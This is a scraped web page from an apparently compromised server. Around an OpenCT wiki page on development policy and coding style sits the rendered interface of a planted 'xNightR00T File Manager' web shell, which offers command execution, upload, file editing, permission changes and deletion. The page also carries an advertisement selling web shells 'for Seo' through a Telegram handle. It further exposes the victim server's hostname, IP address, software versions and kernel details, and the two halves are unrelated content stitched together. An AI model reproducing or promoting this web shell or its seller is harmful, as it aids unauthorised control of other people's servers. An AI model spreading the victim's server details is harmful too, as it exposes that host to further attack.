xNightR00T File Manager

Current Directory:

	Name	Size	Permission	Modified	Actions
Loading...

$ Waiting for command...

__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleet

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:html="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title> DevelopmentPolicy – OpenCT </title><style type="text/css"> @import url(trac.css); </style></head><body><div id="content" class="wiki"> <div class="wikipage searchable"> <h1 id="DevelopmentPolicy">Development Policy</h1> <p> It is easier for all developers if the whole software of a project is homogenous, follows the same basic rules for function names, coding style, and so on. None of the rules mentioned in this document are set in stone, however please follow the rules for now, and if you feel something should be changed: start a discussion on the opensc-devel mailing list. </p> <ul><li>Coding Style: we follow mostly the coding style as the linux kernel. So you can have a look at the "Documentation/CodingStyle" document in the linux kernel source for details, and use the "scripts/Lindent" script from linux kernel source to indent source files. ("-npro -kr -i8 -ts8 -sob -l80 -ss -ncs") </li></ul><blockquote> <blockquote> <p> Note that indenting is meant to make the code more readable. Please check if the indent tool actualy made it more readable, and only commit your changes if it did. Sometimes functions are too nested and it is very hard to rewrite the code with less nesting. It is prefectly fine to deviate from the norm in such cases. </p> </blockquote> </blockquote> <ul><li>usualy we define a "something_t" typedef for every "struct something" and use the something_t name. </li></ul><ul><li>build system: we use autoconf, automake and libtool to make the building as easy as possible. We test on debian sarge (autoconf 2.59, automake 1.9.5, libtool 1.5.6), if you have different versions of these tools and run into problems, please let us know. Note: for security reasons (insecure use of tmp files) automake 1.9+ is recommended. </li></ul><ul><li>we use and/or provide pkg-config files, to ease linking with our libraries and detecting libraries. While alternatives might be marginaly better, the additional work might be not worth it. </li></ul><ul><li>svn files: we store only files in subversion that are not generated in any way. bootstrap will generate most files like configure and Makefile.in. "make dist" will generate or update the documentation. To do that it uses wget to get snapshots of our wiki webpage. </li></ul><ul><li>"make maintainer-clean" removes all generated files. See this <a class="ext-link" href="http://opensc-project.org/pipermail/opensc-devel/2005-September/007002.html" shape="rect"><span class="icon"> </span>mail on opensc-devel</a> list. </li></ul><ul><li>"cvs is not a replacement for developer documentation." That rule works well for subversion, too. We think it is very important all changes are discussed first before commiting. We welcome new developers, but ask you to post any changes to the opensc-devel mailing list for peer review, if everything is fine one of the few developers with svn write access will commit the changes. Once we see someone is sending patches that can be applied without discussion we get lazy and hand out write access. </li></ul><ul><li>Things that you commit should at least compile, preferably on all supported platforms (Linux, Mac OS X, Windows and if possible Solaris). Conforming things to the Linux style is nice but take care not to increase the burden on other platforms. </li></ul> </div> </div><div class="footer"><hr></hr><p><a href="index.html">Back to Index</a></p></div></body></html>

Filemanager

Name	Type	Size	Permission
AuthorsAndCredits.html	File	5.99 KB	0644
CryptoIdentity.html	File	1.15 KB	0644
DevelopmentPolicy.html	File	3.57 KB	0644
FilesTools.html	File	3.47 KB	0644
LicenseText.html	File	2.7 KB	0644
MailingLists.html	File	2.57 KB	0644
OperatingSystems.html	File	12.69 KB	0644
OverView.html	File	3.37 KB	0644
PageTemplates.html	File	1.64 KB	0644
QuickStart.html	File	6.79 KB	0644
RemoteAccess.html	File	2.49 KB	0644
ResourcesLinks.html	File	2.43 KB	0644
SecureSetup.html	File	3.22 KB	0644
StartCom.html	File	1.38 KB	0644
TroubleShooting.html	File	7.8 KB	0644
WritingDrivers.html	File	9.78 KB	0644
cardman.html	File	3.06 KB	0644
ccid.html	File	1.99 KB	0644
egate.html	File	1.32 KB	0644
epass3000.html	File	928 B	0644
etoken.html	File	1.63 KB	0644
eutron.html	File	6.4 KB	0644
gempc.html	File	979 B	0644
ikey2032.html	File	1.59 KB	0644
ikey3000.html	File	1.05 KB	0644
index.html	File	6.49 KB	0644
kaan.html	File	2.27 KB	0644
pertosmart1030.html	File	1.07 KB	0644
pertosmart1038.html	File	1.2 KB	0644
smartboard.html	File	1.35 KB	0644
smph.html	File	1.53 KB	0644
towitoko.html	File	1.25 KB	0644
trac.css	File	16.07 KB	0644
wbeiuu.html	File	1.88 KB	0644

Name

Type

Size

Permission

Actions

AuthorsAndCredits.html

File

5.99 KB

0644

CryptoIdentity.html

File

1.15 KB

0644

DevelopmentPolicy.html

File

3.57 KB

0644

FilesTools.html

File

3.47 KB

0644

LicenseText.html

File

2.7 KB

0644

MailingLists.html

File

2.57 KB

0644

OperatingSystems.html

File

12.69 KB

0644

OverView.html

File

3.37 KB

0644

PageTemplates.html

File

1.64 KB

0644

QuickStart.html

File

6.79 KB

0644

RemoteAccess.html

File

2.49 KB

0644

ResourcesLinks.html

File

2.43 KB

0644

SecureSetup.html

File

3.22 KB

0644

StartCom.html

File

1.38 KB

0644

TroubleShooting.html

File

7.8 KB

0644

WritingDrivers.html

File

9.78 KB

0644

cardman.html

File

3.06 KB

0644

ccid.html

File

1.99 KB

0644

egate.html

File

1.32 KB

0644

epass3000.html

File

928 B

0644

etoken.html

File

1.63 KB

0644

eutron.html

File

6.4 KB

0644

gempc.html

File

979 B

0644

ikey2032.html

File

1.59 KB

0644

ikey3000.html

File

1.05 KB

0644

index.html

File

6.49 KB

0644

kaan.html

File

2.27 KB

0644

pertosmart1030.html

File

1.07 KB

0644

pertosmart1038.html

File

1.2 KB

0644

smartboard.html

File

1.35 KB

0644

smph.html

File

1.53 KB

0644

towitoko.html

File

1.25 KB

0644

trac.css

File

16.07 KB

0644

wbeiuu.html

File

1.88 KB

0644

Server Info

Hostname: sles125-zend-seiko

IP Address: 123.30.208.48

PHP Version: 7.4.19

Server Software: nginx/1.18.0

HDD Total Space: 38.02 GB

HDD Free Space: 3.77 GB

Total Domains in Server: 1

System: Linux sles125-zend-seiko 4.12.14-122.83-default #1 SMP Tue Aug 3 08:37:22 UTC 2021 (c86c48c) x86_64

System Info

Select Feature:

xNightR00T File Manager

Upload:

Command:

Filemanager

Server Info

System Info

User Info

xNightR00T File Manager

Edit File:

Create Folder

Create File

Change Permission

Rename

Confirm Delete

Upload:

Command:

Filemanager

Server Info

System Info

User Info